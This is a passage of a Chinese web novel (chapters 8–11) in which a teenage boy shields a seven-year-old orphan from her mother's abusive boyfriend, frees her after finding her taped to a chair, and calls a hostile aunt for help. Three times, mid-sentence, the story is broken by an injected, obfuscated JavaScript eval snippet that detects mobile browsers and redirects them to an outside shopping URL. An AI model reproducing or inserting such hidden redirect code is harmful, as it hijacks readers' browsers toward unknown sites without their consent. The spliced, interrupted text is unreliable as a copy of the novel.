少年的长相极具冲击力,身材高瘦,姿态有些懒散,他抬了抬手里的拐杖,拖腔带调地冲他道:“喂,大庭广众之下虐待小孩,她不会是你拐来的吧?” 他拿出手机,输下那三个数字就要拨过去。 “我得问问警察叔叔……” 顾北的手指刚要按下拨号键,李东回过神立刻上前拍掉他的手:“哪冒出来的臭小鬼,活不耐烦了是吧,让开!老子就是她爹!” 说罢,他又指向荆梨,“你给我过来!回家再收拾你!” 荆梨不为所动,抓着顾北衣角的手又紧了紧。 她害怕,怕面前的大哥哥真的让她跟李东走。 “大叔。”顾北懒懒地笑了笑,露出两个酒窝,上下扫了李东一眼,语气欠揍,“你说是就是啊,你看你长那样,比鬼顺眼不了多少,是能生出这么好看小孩的基因吗?” “小崽子说什么呢你!”李东闻言暴怒,挥着拳就要打过来。 顾北抬起一边的拐杖指着他,低头看着荆梨:“喂,小孩儿。” 荆梨抬头,乌黑溜圆的大眼睛跟葡萄似的,在对上少年狭长的凤眸时,微微一怔。 还不太会掩饰情绪的年纪,第一次见到这么好看的哥哥,荆梨不由有点紧张,她低下灰扑扑的小脸,在他腰后藏了藏。 “他是你爸爸吗?”顾北问她。 荆梨用力摇头:“不是。” “听见了吗,她说不是。”顾北立即接话,拐杖杵了杵李东所在的方向,眸光冷了下来,“再动手动脚,我现在就报警。” 8.巧克力 Chapter 08 李东似乎十分忌惮警察,他死盯着顾北悬在拨号键上的手,底气不足地重复:“我真是她爸爸。”随后又似想起什么,自得地露出黄牙,“继父,哎对,我是她继父,她妈是我女人,现在她妈病死了,她当然得跟我走了。” 顾北不信,低头向荆梨确认。 荆梨大眼睛一眨不眨,想了想,还是摇摇头。 妈妈从不让她叫李东爸爸,只让她叫他叔叔。 妈妈说荆梨的爸爸在天堂里过好日子呢,所以李东才不是她爸爸。 她是小孩她能撒谎吗。 顾北脑子里冒出这么一句。 思及此,顾北又将拐杖朝李东怼了下,语气有些无赖:“我管你是继父还是鸭父,这孩子不想跟你走,你非要来硬的我们就去派出所聊一聊。” 李东盯着杵到面前的拐杖,背上刚被敲过的地方还在隐隐作痛,他恨得牙都要咬碎了,偏偏还不敢真的在医院里做什么,不然闹起来被带到派出所,他最近那些小偷小摸的行径可能就瞒不住了。 局面僵持了一会儿,见带不走人,李东狠狠剜了眼这个不知道从哪儿冒出来多管闲事的臭小鬼。 他蹲下身,和荆梨视线平行,脸上扬起一个渗人的笑,话语中满含威胁:“小梨啊,天已经很晚了,玩够了就快点回家,叔叔在家里等你。” 说罢伸手要去摸荆梨的脑袋。 小姑娘肩膀一缩,大眼睛里的恐惧与畏缩都快漫出来了,她立刻往顾北身后躲,脸埋在他腰间。 顾北能感受到小女孩的颤抖,他不禁皱眉,凝着李东的眼神染上审视和阴鸷。 顾北不动声色地挪了半步,将女孩完全挡住,凌厉的凤眸凉凉地盯着男人的一举一动,直至对方的身影彻底消失在黑暗里,才淡淡收回视线。 “喂。” 女孩一直没动,顾北扭头轻声提醒她。 话音刚落,他便感受到腰后的皮肤被烫了一下。 是眼泪。 她哭了。 顾北没有哄小姑娘的经验,他身体僵在那儿不敢动,全身关节都跟生锈了似的,动一下都嘎吱作响。 荆梨哭起来一点儿声音都没有,安静到让人以为她是不是睡着了。 但顾北就是知道她在哭。 腰上那块皮肤在经受滚热眼泪的烫印。 滨宁的晚风有大海的味道,咸咸的,湿湿的,也像眼泪的味道。 顾北喉结轻滚,稍长的刘海在脸上投出淡淡的阴影,遮挡了眸中的情绪,不知想到了什么,他无声地叹了口气,拄着拐杖转过身,接着强忍右腿的不便,艰难地半蹲下来,和眼圈红肿的小姑娘面对面。 少年好看的面容在眼前放大,对上那双温柔的凤眼,荆梨哭嗝一顿,堵在了嗓子眼,不上不下的,最后被她生生咽了下去。 顾北被她呆愣的表情逗笑,形状漂亮的眼尾拉出微扬的弧度,原本稍显苍白的脸顿时熠熠生辉。 他屈指卷去荆梨挂在下巴上的泪珠,语气轻柔,像是怕吓到她:“不怕,他已经走了。” 荆梨止住了哭泣,时不时抽搭两下,身上粉色小短袖的领口被李东扯得歪歪扭扭没了形状,整个人看起来像只脏兮兮的流浪小猫,抬起小爪子胡乱揉眼睛。 顾北怕她眼睛感染,连忙制止她,他翻了翻口袋和背包,没找到干净的纸,无奈,只得抓起自己的衣摆,将她的脸和小手都擦了一遍。 荆梨乖乖地伸出爪子,大眼睛好奇地盯着少年露出来的半截腰看,很细很白,上面还有块状的凸起,莫名的,她想起那种可以掰开吃的巧克力,不自觉咽了口口水。 连锁反应一般,她肚子发出突兀的轻响,被夜风吹到顾北耳朵里。 他愣了愣,仰头看她:“饿了?” 荆梨捂着肚子,大眼睛黑得发亮,点头。 顾北环视一圈,最后视线落在他吃剩一半的玉米上。 两分钟后,一大一小排排坐在门诊室的台阶上。 顾北伸直右腿,两只拐杖搁在一旁,背包被他放到了荆梨屁股底下。 “叫什么名字?”顾北拍了拍手上的灰,偏头问道。 荆梨双手抱着玉米啃,嘴边沾了一圈碎屑,闻言挺起背,像做汇报一样语调郑重:“我叫荆梨。” 妈妈说过,女孩子自我介绍的时候要大大方方的。 “荆梨?”顾北好笑地睨着她,“哪个梨啊?” 荆梨才七岁,她不会写字,也不知道怎么表达,低头苦恼地思考了一下,说:“妈妈说,她最喜欢吃梨,所以我叫荆梨。” 哦,这个梨啊。 顾北了然点头,接着怀疑地打量了她一眼。 长得挺可爱的,总感觉不太聪明的样子。 但又知道被打了要跑。 “你为什么在医院?”顾北问。 荆梨乖乖地答:“医生叔叔让我们来交钱。” 顾北默然。 估计是她妈生前治疗欠的医药费。 “那个男的。”顾北又问,“到底是不是你继父啊?” 荆梨理解困难,眨巴着大眼不解道:“继父是什么意思啊?” “……”顾北扶额。 是真的不太聪明。 “继父就是……”顾北解释,试图婉转又通俗地讲明白,“就是,嗯——你妈妈的老公。” 他都要为自己鼓掌了。 荆梨:“老公是什么?” “……” 空气静了一瞬,顾北差点一口血喷出来。 他没忍住笑了下,有种自己给自己挖坑跳的既视感。 “老公就是……”好吧,他放弃了,开始说废话文学,“你妈妈的老公就是你爸爸。” 荆梨听懂了,这次不假思索地否认:“那他不是妈妈的老公,妈妈让我叫他叔叔,妈妈说他只是男朋友。” 顾北愣了:“男朋友?” 荆梨:“对啊。” “男朋友你倒知道是什么意思了!”顾北气笑了。 荆梨奇怪地看了他一眼:“不就是谈恋爱的意思嘛,哥哥你不知道吗?”她捻起脸上沾到的玉米粒放进嘴里,语气天真道,“哥哥你不会没谈过恋爱吧。” 哥哥你不会没谈过恋爱吧。 没谈过恋爱吧。 恋爱吧。 吧。 …… 顾北捂着心口,感觉自己被狠狠地扎了一刀。 他现在非常想夺过她的玉米扔在地上狠狠踩几脚,让她感受下社会的险恶。 话题以他被扎心的结局而终止。 荆梨舍不得地咬下最后一口玉米,嚼了好一会才咽下,最后连手上的碎渣都舔了干净。 肚子还是饿,但已经没那么难以忍受了。 顾北瞧了眼那根像被狗嗦过一样的玉米棒,无意识地哼笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466759|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 他支着拐杖站起来,居高临下地瞅着小不点:“走吧。” 荆梨仰起脖子:“去哪?” “送你回家。” 顾北话落突然握拳抵唇咳了两下,咳完他微微一愣,不信邪地探了把额温。 有点烫。 许是发烧的缘故,顾北觉得自己的脑袋开始有点晕了,反应也跟着迟钝了几分,他现在只想赶紧把眼前的小不点安顿好,自己再找个地方好好睡一觉。 荆梨抿唇,低头盯着自己脏兮兮的布鞋,嗫嚅道:“我没有家。” 她声音太小,顾北没听清,弯腰凑到她唇边,眉头紧皱:“你说什么?” 少年皮肤苍白,长睫垂掩,精致的五官此时透着一股病态的美感,携着温热的气息扑面而来,荆梨不由紧张地扣起手指,讷讷地开口:“我没有家了,妈妈说有她在的地方就是我的家,可妈妈死了,我找不到家了。” 听到这话,顾北神情怔忪地顿在原地,许久都不曾回神。 他空咽了一口,心里不知道是什么滋味儿。 就觉得,疼,跟有无数根细细密密的小针在扎他的心一样。 他抬眸细细凝视着眼前的荆梨。 泛着水光的乌眸中倒映着他的脸孔。 他失去父母的时候已经十二岁了。 说大不大,说小不小,但已经能明白他以后得独自面对世界,面对自己没有家的事实。 可是荆梨才七岁啊。 连自己的名字都不会写的年纪,把妈妈的话奉为圭臬,她是以什么样的心情才能如此平静地说出“妈妈死了”这句话的呢。 或许她根本还不清楚“死亡”的意义,只知道妈妈走了,不要她了,她便也没地方可去了。 顾北长睫颤动,直起身深呼吸了一口。 是他草率了,现在送她回去她妈妈那个所谓的男朋友肯定不会轻易饶过她的。 看荆梨对那男人的害怕程度,估计从前他一定做过什么可恶的事。 “你那个手机呢?”思索片刻,顾北朝她伸手,“你打电话给我的那个手机。” 荆梨反应过来,从裤子的口袋里掏出一部白色的翻盖手机,小心翼翼搁在少年的掌心。 顾北点开联系人通讯簿,从上到下翻了一遍,注意到荆梨妈妈给自己那个手机号的备注是“顾大哥的儿子”,他手指微顿,久远的记忆又从脑海深处涌现。 小学的时候,他每天下午放学都会去烟花厂等爸妈下班一起回家。 荆勇叔是厂区的保安队长,见他来会热情地招呼他到保安休息室写作业。 他老婆是个非常漂亮的女人,一头及腰长发,性格爽朗,每天都拎着保温壶给荆勇叔带饭。 她会轻轻抚摸顾北的后脑勺,边扶着孕肚边帮他批改作业,做的全对的话会得到她温柔的夸赞。 “要是我的宝宝也像小北这么聪明就好了。” 顾北懵懂地看着她的肚子,好奇问道:“阿姨,你要生小弟弟了吗?” 她笑着点头:“不过也有可能是妹妹哦。” “小北更喜欢弟弟还是妹妹呢?” 顾北想了想,随后扬起笑脸:“我更喜欢妹妹!” 回忆到这里戛然而止。 淡淡的酸楚从鼻尖蔓延。 顾北轻叹一声,绞尽脑汁都想不起女人的名字。 只记得荆勇叔总叫她:“阿倩。” 9.太阳 Chapter 09 通讯里的联系人不少,基本都是因为工作加上的。 顾北粗略翻了一圈,没找到女人父母的备注。 只有一个叫“嫂子”的号码看着亲近点。 他迟疑了几秒,拨了过去。 拨号音一直持续到主动停止,那头都没动静。 难不成在忙? 顾北不死心,又连着打了三次,无一例外全部无人接听。 顾北有些丧气,他捏了捏酸胀的额角,一天积压的疲惫在恼人的手机忙音中被放大,排山倒海似的将他仅剩的力气掏空。 他烦躁地合上手机,神情恹恹地对上荆梨懵懂无措的大眼睛。 胸腔那股无状的怒火一瞬被消解,就像一拳砸在了棉花上。 小不点什么也没做错,她不该承担他的坏情绪。 他对她露出一个无奈又苦涩的笑。 看来他们两个今晚要露宿街头了。 “小不点。”顾北唤她,嗓音低哑。 荆梨仰颈。 “你相信哥哥吗?”他稀里糊涂地问出这么一句。 荆梨愣了愣,不太明白过来要她相信什么,但她还是毫不犹豫地点头:“相信。” 妈妈睡着之前一直在叮嘱她。 【宝宝,你去找小北哥哥,他会像妈妈一样对你好的。】 她相信妈妈,所以也相信像妈妈一样的小北哥哥。 顾北牵了牵唇角,伸手握住女孩微凉的小手,慢慢地收紧。 这一刻,他仿佛穿越时空,牵住了十二岁的自己。 如果当时也出现一个让他能无条件相信的人,他也会义无反顾地牵住他的手。 即使露宿街头,心里也不会害怕。 因为比起富裕的生活和遮风挡雨的房子,那种无以言说的踏实的安全感,才是孩子们最需要的东西。 顾北的手很大很温暖,掌心源源不断地输送热量,荆梨目光直愣愣地盯着握住她的那只手,指节修长,腕骨嶙峋,骨节泛着淡淡的粉,手背上青色的脉络都清晰可见。 小北哥哥的手和妈妈那双柔软却布满茧子的手一点也不一样,却拥有相同的温暖。 顾北察觉到小不点在悄悄回握他的手,力道聊胜于无,小心翼翼的,像软绵绵的猫爪。 他笑了笑:“走吧。” 结果两人刚走出医院大门,顾北便眼前一黑,瞬间没了知觉,整个人晕了过去。 意识消散的前一秒,他听见小不点害怕的哭喊,他很想摸摸她的脑袋,却连抬起胳膊的力气都没了。 - 再次清醒已经是第二天的上午了。 顾北从门诊的病床上猛然惊醒,他下意识撑床坐起身,手背上的输液针限制了他的动作。 “嘶……”回血的刺痛让他倒抽了口凉气。 路过的护士看他醒了赶忙上前按住他的肩膀,语带斥责:“还有一瓶药水没输呢,发烧都快烧到40度了,腿也不方便,不老实躺好乱动什么。” 顾北没空管自己现在的情况,第一时间扫视周围,并未看见那个小小的身影。 他咽了咽冒火的喉咙,嗓音沙哑地问道:“昨晚跟我一起的那个小女孩呢?” 年轻护士闻言目露疑惑。 顾北用没扎针的那只手虚空比了个差不多的高度,语气焦急:“就这么高,穿了件粉色的小短袖,短头发,眼睛特别大的一个小女孩。” 护士摇摇头:“我早上来上班就瞧见你一人躺在这儿啊,没看见什么小女孩。” 顾北见问不出什么,他不耐地“啧”了声,起身就要拔掉针头,下床去找荆梨。 动作间他的手碰到了一个硬硬的东西,他一愣,拿起来看了看。 是荆梨的那部白色手机。 心脏猛然一坠,有股不太好的预感。 护士被他吓一跳,忙回头呼叫护士长过来。 昨晚值班到现在的护士长闻声从护士站跑过来,合力与年轻护士一起控制住少年拔针的动作,听他要找什么小女孩,护士长“哎呦”一声,忙跟他解释:“你放心吧,小姑娘一大早就被她爸带回家去了。” “她爸?”顾北一怔,眼前闪过李东那张不怀好意的脸。 护士长:“是啊。” 顾北急了,音调拔高:“不是,你们怎么能让他把人带走呢?!” 护士长懵了一瞬,随即好笑道:“那个小姑娘她妈妈生病住院这段时间都是那个男人过来照顾的,他自己也说了他是小姑娘的爸爸,人家带自己女儿回家我们没道理不让啊。” “……” 顾北哑然,他苍白着脸低头理了理混乱的思绪,几秒后他抬起头,目光沉沉地看向护士长:“是这样的,我是小女孩妈妈的亲戚,她妈妈走前给我打了通电话,让我过来接她离开滨宁。” “那个男人并不是她的亲生父亲,也没跟女孩妈妈领证,他们只是同居的关系,所以我现在非常担心女孩的安危。” 护士长和年轻护士对视一眼,眼神从惊疑不定逐渐变为担忧。 顾北抹了把脸强迫自己冷静下来,滚了滚喉结:“我想请您把那男人留的地址告诉我,我去看一眼,不然我不放心啊。” “这……不符合规定啊。”护士长表情为难。 顾北目光诚恳:“我不会说出去的,求求您了阿姨。” 望着少年满脸的焦急与担忧,护士长叹了口气,摆摆手:“你等一下。” 最终两位护士架不住顾北的软磨硬泡,一瓶药水没挂完就同意他出了院。 总共吊了两瓶药水,开了盒药,让他把好不容易攒的小金库都掏了出来。 顾北按照护士长抄给他的地址,打了辆两块钱的三轮蹦蹦车,晃晃悠悠地来到城南老街道。 路两边都是破败又充满了年代感的小店,其中有家砂锅店在他有记忆起便一直开到现在。 门面后方就是老旧的居民楼群。 李东家就在这些楼里,具体位置纸条上没写。 顾北干脆去问坐在巷口乘凉的大爷,知不知道一个叫李东的男人住哪。 听到李东的名字,大爷警惕的目光上下将顾北扫了个遍,接着语气不善地冲道:“你谁啊?找那个混混干嘛?” 混混? 顾北紧了紧抓着拐杖的手,神情阴冷:“腿被他弄断了,找他要钱。” 大爷闻言露出一副果然如此的神情:“每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483174|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔几天就有像你这样的人找过来。” 说罢,他指向身后,一栋不起眼的五层小楼:“你从那个楼道进去,一层,左边那户就是他家。” 顾北望过去,眸光深暗:“行,谢谢大爷。” 大爷爷摆摆手,一副深藏功与名的模样。 顾北按照大爷指的方向拐进楼道。 阳光照不进来的地方空气充斥难闻的潮湿霉味,声控灯估计早就坏了,拐杖的声响在安静的楼道里无比清楚也触发不了。 他为了防身,进来前还在墙根捡了块长着青苔的板砖。 在门前站定后,他先将耳朵凑到防盗门前仔细听了听,屋里寂静无声,无法确定李东和荆梨在不在里面。 顾北强压紧张,用力吞咽了一口,右手死死扒着板砖,左手屈指,轻轻敲了两下门板。 “咚咚。”两声被安静吞没,经不起一丝波澜。 难不成屋里没人? 顾北不放心地又敲了两下,这次力道加重,门板上的灰都荡了下来。 回答他的依然是安静。 顾北拧了拧眉,看来两人还没回来。 他打算先出去,在附近找个隐蔽的地方蹲守,等李东带着荆梨一出现,他就上前把人抢过来。 思及此,顾北拄着拐杖就要转身,结果耳朵敏锐地捕捉到屋里传来一道微不可闻的闷响。 仿佛重物坠地的动静。 他呼吸一顿,重新趴到门边,呼唤道:“是荆梨吗?” 回答他的是又一道闷响。 顾北发狠用力砸了门板一拳,巨大的声响在楼道里回荡不止。 他忽然想起什么,飞快走了出去,绕到楼房后面,根据大致位置找到了一扇封死的窗户。 透过灰蓝色的玻璃,他果然看见了被绑在椅子上的荆梨。 只见女孩的双脚和蹬腿用胶布绑在一块,双手反绞于身后,腰上还用厚厚的胶布与椅背捆在一起,脸上一道宽大的胶条封住了嘴巴。 那道闷响是她听到顾北的敲门声,自己放倒椅子摔在地上发出来的。 荆梨显然也瞧见了窗外的少年。 四目相对,女孩乌黑的湿眸中满含绝望与恐惧。 无名的怒火自心底燃烧,顾北想也没想,抓着板砖就把窗户砸了。 阳光穿透如盖的树冠在灰败的墙体上投出摇晃斑驳的树影。 风声沙沙,盛夏的蝉鸣摧枯拉朽般扯出尖啸,也无法掩盖玻璃碎裂的脆响。 世界好似被按下了慢速减,哪怕过去很多年,长大后的荆梨也依然忘不了顾北为她砸窗户的那个瞬间,数不清的玻璃碎片折射出破碎的光晕,好似白日繁星,闪烁又绚烂。 可画面再美,也没有那一刻如同神邸般降临的顾北耀眼。 是的,哪怕星星再夺目,只要太阳一出现,它的风头就不复存在了。 其实她不是不喜欢太阳。 也不是忍受不了热。 只是她喜欢的那一轮太阳,一直就在她身边。 她汲取着他的光和热,于是自己变成了星星。 可是有一天,星星生出了占有欲,她想要独占她的太阳。 她希望太阳永远只为她晕眩。 10.逃跑 Chapter 10 飞溅的玻璃渣在顾北的颧骨上划出一道淡淡的血痕,手背也被割伤了,温热的血顺着指尖滴落,他却仿若未察,继续将边缘残存的玻璃砸干净,接着扔掉板砖,双手攀上窗台,打算翻身进屋。 可右腿上沉重的石膏导致他无法弯曲膝盖,窗户又太小,他折腾了将近三分钟都没成功。 此时头顶的阳光愈发强烈,李东也随时可能会回来。 顾北急得鼻尖都冒出了汗。 他眸光幽暗地盯着自己废掉的右腿,鼻息粗重,胸膛剧烈起伏,心口不断膨胀的憋屈与失望让他生出一股想要砸碎石膏,彻底毁掉自己的冲动。 在他失神的时候,身后响起荆梨细弱的呜咽,可怜又无助,就像躲在路边草丛深处,与妈妈走失孤立无援的幼猫。 顾北神思瞬间恢复清明,他偏头对上女孩澄澈明净的黑眸,强迫自己冷静了下来。 “不怕,哥哥一定救你出去。” 少年哑声道,是对女孩的承诺,也似在给自己打气。 凝眉想了想,顾北干脆背对着坐在窗台上,眼睛一闭,整个人以倒栽的姿态向后倒去,用背部着地,让自己重重摔进屋里。 “咚”地一声后,顾北忍不住闷哼,本就没什么血色的脸又白了几分,五官都疼得皱在一块。 但他现在根本顾不上身体的疼痛,连忙捡了块锋利的碎玻璃片,朝荆梨的位置爬过去。 “别怕别怕。” 他边沉声安抚,边紧紧攥着碎玻璃去割捆绑荆梨的胶带。 李东怕她挣脱掉所以缠的很厚,必须得细心又用力地磨才能割开。 碎片太锋利,哪怕他用衣服包着,他的手掌和指头也被不同程度地被划伤了,鲜红可怖的血源源不断地从伤口涌出来,染红了荆梨的衣服和视线。 不知是被顾北的血吓到还是怎么的,她的眼泪忽然大颗大颗的往下掉,直到她嘴上的胶布被顾北撕下来,才有几丝忍不住的哽咽从嘴里泄出来。 顾北立刻按住她瘦弱的肩膀,目光沉沉地注视着她,沾血的食指颤抖地竖在唇边,示意她别出声。 少年稍长的刘海垂耷在额前,凤眸此刻漆黑无光,如同深邃的漩涡,有种将人吞噬其中的魔力,颧骨那道浅淡的血痕令精致苍白的脸更添了几分无言的妖冶。 荆梨黑葡萄似的眼仁怔怔地与他对视,一时忘了反应,顾北以为她吓傻了,便抓着她的小手帮她捂住了自己的嘴巴。 等把腰上的胶布割断后,顾北的右手已经伤痕累累了,指腹伤得最严重,深得能瞧见皮下组织。 荆梨盯着少年那只鲜血淋漓、甚至有些可怖的手,眼前再次被雾气萦绕。 昨晚它牵着自己的时候,明明很好看的。 顾北并不在意,随意地在衣服上擦了擦血,将女孩从地上抱起来,拉上她的小手,十指紧扣。 “我们一起逃吧。” 四目相对,少年用口型无声道,哄小孩一般,唇角扬起俏皮又笃定的笑。 虽无声,但承诺震耳欲聋。 荆梨从前很讨厌“逃”这个字。 因为每次妈妈带她搬家的理由用的都是逃。 逃避追债的,逃避爸爸那边的亲戚,逃避一切阻止她们母女在一起的人和事。 逃的过程都好累。 但和小北哥哥一起的逃,不知为何心里涌现的却是期待。 仿佛逃不再是逃,而是一起奔向更好的人生。 荆梨不敢吭声,只能用力点点头。 顾北将她抱到窗外,等她站稳后自己按照先前进屋的方式又摔了出去。 荆梨要去扶他,被他挥手挡开,顾北疼得龇牙咧嘴,还不忘叮嘱她:“别管我,你先跑出去,跑到人多的地方,我一会就追上你了。” 荆梨却不动,执拗地守在他身边,那双湿漉漉的大眼睛倔强地看着他。 顾北啧一声,强忍到嘴边的脏话,试了好一会才晃晃悠悠地站起来,抓上拐杖示意荆梨赶紧走。 荆梨立刻像个小跟屁虫一样,亦步亦趋地紧跟着他。 结果两人刚从楼后走出来,就瞧见了买完饭回来的李东。 男人脚步飞快,跟赶着投胎一样,生怕被他捆起来的荆梨发出什么动静把邻居吸引过来。 顾北只愣了一瞬,随即反应迅速地拽上荆梨的领子又躲进了树丛后面,确认从李东的方向看不见他们,他才将提起的心稍稍放下。 得快点离开这条街区了,不然李东待会发现荆梨不见了会立马出来找人。 他俩一个拄拐一个小毛孩,目标太明显了,而且以他现在的身体情况根本跑不过一个四肢健壮的成年男人。 顾北神情看似镇定,可心里却如同热锅上的蚂蚁,他喉结滞涩地滚了滚,低头看了眼荆梨,沉思片刻。 他决定干脆不跑了。 果不其然,他刚做下这个决定,李东就火急火燎地从楼里跑了出来。 他先是绕到窗户那儿寻了一圈,杀人般凶狠的目光往四周扫视。 顾北心跳又一阵急促,他将荆梨按在怀里,手掌扣着她的后脑,不让她瞧见李东狰狞的模样,自己则借着树丛的遮掩,闭上眼仔细观察对方的脚步声。 空气霎时变得无比安静,心跳声和脚步声重重砸着他的耳膜,呼吸都不自觉省略了。 不知过了多久,男人的脚步总算从附近离开了,几秒后彻底消失。 顾北这才敢松开手,张嘴大口喘气,荆梨抬头眼泪婆娑地看着他,眼神可怜巴巴的,仿佛他下一秒就要死了一样。 顾北这才发现自己的右手一直在流血,把女孩脑后的头发都打湿一片。 后知后觉的痛感往四肢百骸蔓延,他轻嘶了口气,用昨天换下的脏衣服随便在手上缠了一圈。 扭头见小不点还用那种眼神看他,顾北哭笑不得,安慰道:“流这点血人是不会死的。” 荆梨闻言眨了眨眼,下一秒,抬手搂住少年的脖颈,滚烫的泪珠落在他的皮肤上。 顾北身子一僵,左手轻轻搭在女孩背后,生疏地拍了拍。 两人在树丛里等了将近两个小时,才看见铩羽而归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509589|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的李东。 男人手里拎着满满一袋酒,白的啤的都有,边走边用方言骂各种带着生殖器的脏话。 顾北紧紧盯着男人的身影,等他走进楼道,传来震耳的关门声,他都一动不动。 李东没报警,也没招呼旁人帮忙一起找孩子,看来他也清楚自己对荆梨干了什么,不敢让人发现。 即便找到了,以他的情况,社群工作人员和片警也不会允许他抚养孩子的。 顾北又等了一个多小时左右,期间荆梨一声未吭,乖乖地待在一旁。 估摸着李东应该喝得差不多了,他才牵上荆梨的手,两人小心翼翼地走出巷子口。 担心被李东的熟人看见,顾北还把自己黑色的背包盖在荆梨头上。 暑热难耐的中午,街道上已经没什么人了,他俩走了许久才在路口拦到一辆三轮蹦蹦车。 蹦车师傅听到要去车站,张嘴就要十块钱。 一听就是在讹人,但这会儿顾北已经没精力还价了,摆摆手让他赶紧开。 直到蹦车启动,身体跟着摇晃,顾北才终于有种“逃”出来的实感,他长呼了口气,整个人突然就放松了,接着便感觉全身仿佛被车碾过,酸痛无孔不入地往骨子里钻,跟没热身就稀里糊涂跑了三千米一样。 去车站的这一段路程中,荆梨抱着顾北的包,安安静静地缩在他身侧,抬头发现少年皱着眉双眼紧闭,像是睡着了,她定定地看了他几秒,忽然大着胆子将头轻轻靠上他的肩膀,随后安心地阖上眼。 顾北是被蹦车师傅叫醒的,他皱皱眉,凑出一把十块的硬币付了车费。 这一趟一天一晚的滨宁之旅,不光一个月的零用没了,他好不容易攒的小金库也快见底了。 望着自己空瘪的零钱包,顾北无语地笑了下。 人怎么可以穷成这样? 滨宁汽车站非常小,候车大厅里一个人也没有,顾北领着荆梨随便找了个位置坐下,从包里掏出在门诊顺的矿泉水递过去,自己则继续用荆梨她妈的手机给那个叫“嫂子”的号码打电话。 他才17岁,未成年,没有经济来源,还得上学备战高考。 顾卫朝那一家就是一窝盯着他的豺狼虎豹,时刻准备将他吞食殆尽。 就他这地狱级别的生存情况,根本无法再承担另一个人的人生。 他必须把荆梨交给一个信得过的人。 要是这个“嫂子”一直不接电话,他就只能把荆梨暂时交给警察了,哪怕送到福利院,也比跟着他靠谱。 顾北打了将近十通电话,每次都是无人接听。 在听到第十次忙音的时候,他一阵心烦,攥着手机是真想砸了,什么也不管了,直奔派出所。 荆梨小口喝着水,感受到顾北焦躁茫然的情绪,她忽然觉得是自己做错了什么,拧上瓶盖,垂下眼一动不动。 顾北闭眼沉了口气,不死心地准备打最后一次。 可他刚翻开机盖,来电铃声兀地响了起来。 顾北愣了愣,看清屏幕上来电人的名字。 【嫂子】 11.荆棘 Chapter 11 “喂?”顾北生怕晚接一秒对面就挂断。 那头似乎没想到说话的是个男人,沉默了好一会儿才警惕道:“请问这是郑倩的手机吗?” 郑倩? 听到这个名字顾北神情微顿,随即反应过来,眼神一时枉然。 原来阿姨叫郑倩啊。 他舔舔干涩的唇:“对,这是郑倩的手机。” 刘春迎语气冷漠:“你是谁啊?为什么她的手机在你手里?” “还有为什么要一直打电话给我?” “她不是放话说这辈子都不再烦我了嘛,又他妈想干嘛啊?!” 女人的音量逐渐拔高,到最后不自觉染上愠怒。 顾北被问懵了,嘴张了半天才在对方连珠炮似的输出中插了句:“她去世了。” 话音落地,听筒对面的世界似被按下了暂停键,戛然而止。 像卡壳儿的磁带机,又像没上发条的钟摆,滞在半空,许久都不曾落地。 顾北偏头扫了眼垂着脑袋不知道在想什么的荆梨,胸口有些烦闷,他抓了把额发,接着说:“郑倩……阿姨前几天走的,急性白血病……” “所以呢?”刘春迎毫无温度的声音打断他,“找我做什么?”她顿了顿,忽然哼笑一声,“不会要我去给她收尸吧。” 这话说的刻薄,但莫名的,顾北感受到女人语气中淡淡的悲凉。 顾北不傻,他能察觉出郑倩的这位嫂子和她的关系不好,两人像有过节的样子,不然正常嫂子听到小姑子死了不会是这种反应。 他开始迟疑,要不要将荆梨托付给她了。 但事到如今他也没其他更好的路能走了,而且这个女人理论上就是荆梨的舅妈,既然有舅妈那就有舅舅。 舅舅不会放任自己的亲外甥女变成孤儿流落在外吧。 思及此,顾北不再顾虑,淡淡道:“她已经火化完入土了,用不着你给她收尸,只是……” 刘春迎误以为顾北在讽刺他,情绪一下变得尖锐:“那还一直打扰我做什么!” 顾北撇眼看向荆梨,微敛的眼尾狭长锋利:“只是她的女儿荆梨现在没人管了,你应该是她舅妈吧,来滨宁把她带走,我收留不了她。” 不然就真成流浪小猫了。 一直低着头的荆梨听到顾北的话,眼眶一下就红了,手指捏得塑料瓶身发出轻微的“嘎吱”声。 她把脖颈压得更低,嘴唇抿紧,小小的身体灰扑扑的,缩在铝白色的座椅里,从远处看,像一只被遗弃的小动物。 刘春迎一愣,仿佛才想起来还有这么个人存在:“荆梨?”接着又嘲讽道,“凭什么要我管,她郑倩不是有钱吗,当年她哥病的快死了都舍不得拿出来的那些钱呢?拼了命地藏着捂着,怎么现在她死了她闺女还没人管啊!” “报应!就是她的报应!这么冷心冷血的女人活该她死老公死哥哥,活该她女儿变成没人要的拖油瓶!” 女人带着哭腔的嗓音低吼出心底压抑已久的怨恨。 有委屈,有畅快,还有丝丝缕缕的哀伤。 